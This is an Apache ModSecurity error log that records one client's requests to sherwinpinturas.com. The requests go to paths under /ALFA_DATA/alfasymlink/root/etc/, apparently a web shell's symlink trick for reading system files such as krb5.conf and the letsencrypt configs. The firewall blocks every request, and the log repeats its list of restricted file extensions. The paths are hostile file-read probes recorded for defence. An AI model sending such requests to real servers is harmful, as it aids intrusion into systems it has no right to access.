[Sun Oct 25 14:29:41.447989 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:53081] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJAAAAAA"]
[Sun Oct 25 14:29:41.448210 2026] [security2:error] [pid 2879901:tid 2879901] [client 76.135.135.39:53081] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/gssproxy/99-nfs-client.conf"] [unique_id "at5KlSpTNKVnE1oMPCDtJAAAAAA"]
[Sun Oct 25 14:29:41.464542 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:53111] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLgAAAAc"]
[Sun Oct 25 14:29:41.469607 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:53111] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLgAAAAc"]
[Sun Oct 25 14:29:41.469883 2026] [security2:error] [pid 2880752:tid 2880752] [client 76.135.135.39:53111] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "at5KlcO5MiLAYQWXs3NDLgAAAAc"]
[Sun Oct 25 14:29:41.495972 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53109] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/kdump.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvAAAABY"]
[Sun Oct 25 14:29:41.545279 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53109] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/kdump.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvAAAABY"]
[Sun Oct 25 14:29:41.545821 2026] [security2:error] [pid 2879958:tid 2879958] [client 76.135.135.39:53109] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/kdump.conf"] [unique_id "at5KlWT7SK5esjpOWSjqvAAAABY"]
[Sun Oct 25 14:29:41.500089 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:53112] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/bind-export-x86_64.conf"] [unique_id "at5KlS-CzQxJ5MlF2DkrxAAAAA0"]
[Sun Oct 25 14:29:41.552914 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:53112] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/bind-export-x86_64.conf"] [unique_id "at5KlS-CzQxJ5MlF2DkrxAAAAA0"]
[Sun Oct 25 14:29:41.571830 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53127] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/llvm-compat-x86_64.conf"] [unique_id "at5KlRH5LAgtrvBIlo324AAAABU"]
[Sun Oct 25 14:29:41.572252 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/llvm-compat-x86_64.conf"] [unique_id "at5KlRH5LAgtrvBIlo324AAAABU"]
[Sun Oct 25 14:29:41.572502 2026] [security2:error] [pid 2879956:tid 2879956] [client 76.135.135.39:53127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/llvm-compat-x86_64.conf"] [unique_id "at5KlRH5LAgtrvBIlo324AAAABU"]
[Sun Oct 25 14:29:41.530233 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:53008] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/80-delicious.conf"] [unique_id "at5KlbFCIv3LB15s-_e9iwAAAAM"]
[Sun Oct 25 14:29:41.592005 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:53008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/80-delicious.conf"] [unique_id "at5KlbFCIv3LB15s-_e9iwAAAAM"]
[Sun Oct 25 14:29:41.592313 2026] [security2:error] [pid 2880749:tid 2880749] [client 76.135.135.39:53008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/fonts/conf.d/80-delicious.conf"] [unique_id "at5KlbFCIv3LB15s-_e9iwAAAAM"]
[Sun Oct 25 14:29:41.632835 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at5Klb6D6j04LiS6yScWQQAAAAI"]
[Sun Oct 25 14:29:41.633131 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at5Klb6D6j04LiS6yScWQQAAAAI"]
[Sun Oct 25 14:29:41.727933 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at5Klb6D6j04LiS6yScWQQAAAAI"]
[Sun Oct 25 14:29:41.728021 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at5Klb6D6j04LiS6yScWQQAAAAI"]
[Sun Oct 25 14:29:41.728051 2026] [security2:error] [pid 2879908:tid 2879908] [client 76.135.135.39:53132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at5Klb6D6j04LiS6yScWQQAAAAI"]
[Sun Oct 25 14:29:41.728980 2026] [security2:error] [pid 2880767:tid 2880767] [client 76.135.135.39:53112] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/bind-export-x86_64.conf"] [unique_id "at5KlS-CzQxJ5MlF2DkrxAAAAA0"]
[Sun Oct 25 14:29:41.656788 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53136] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "at5KlUYY36dVli09oOhVbAAAAAw"]
[Sun Oct 25 14:29:41.745247 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "at5KlUYY36dVli09oOhVbAAAAAw"]
[Sun Oct 25 14:29:41.745564 2026] [security2:error] [pid 2879933:tid 2879933] [client 76.135.135.39:53136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/options-ssl-nginx.conf"] [unique_id "at5KlUYY36dVli09oOhVbAAAAAw"]
[Sun Oct 25 14:29:41.657746 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53131] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/tix-x86_64.conf"] [unique_id "at5Klb3kuBsxLRbAfYmonAAAAA4"]
[Sun Oct 25 14:29:41.793871 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53131] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/tix-x86_64.conf"] [unique_id "at5Klb3kuBsxLRbAfYmonAAAAA4"]
[Sun Oct 25 14:29:41.794346 2026] [security2:error] [pid 2879837:tid 2879837] [client 76.135.135.39:53131] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/ld.so.conf.d/tix-x86_64.conf"] [unique_id "at5Klb3kuBsxLRbAfYmonAAAAA4"]
[Sun Oct 25 14:29:41.796298 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53143] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at5KldId4uiAK8m2gJn9LAAAAAQ"]
[Sun Oct 25 14:29:41.796496 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53143] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at5KldId4uiAK8m2gJn9LAAAAAQ"]
[Sun Oct 25 14:29:41.796729 2026] [security2:error] [pid 2880750:tid 2880750] [client 76.135.135.39:53143] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "at5KldId4uiAK8m2gJn9LAAAAAQ"]
[Sun Oct 25 14:29:41.798010 2026] [security2:error] [pid 2880753:tid 2880753] [client 76.135.135.39:53145] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/locale.conf"] [unique_id "at5KleKLKrCYLMnXfck7gQAAAAg"]
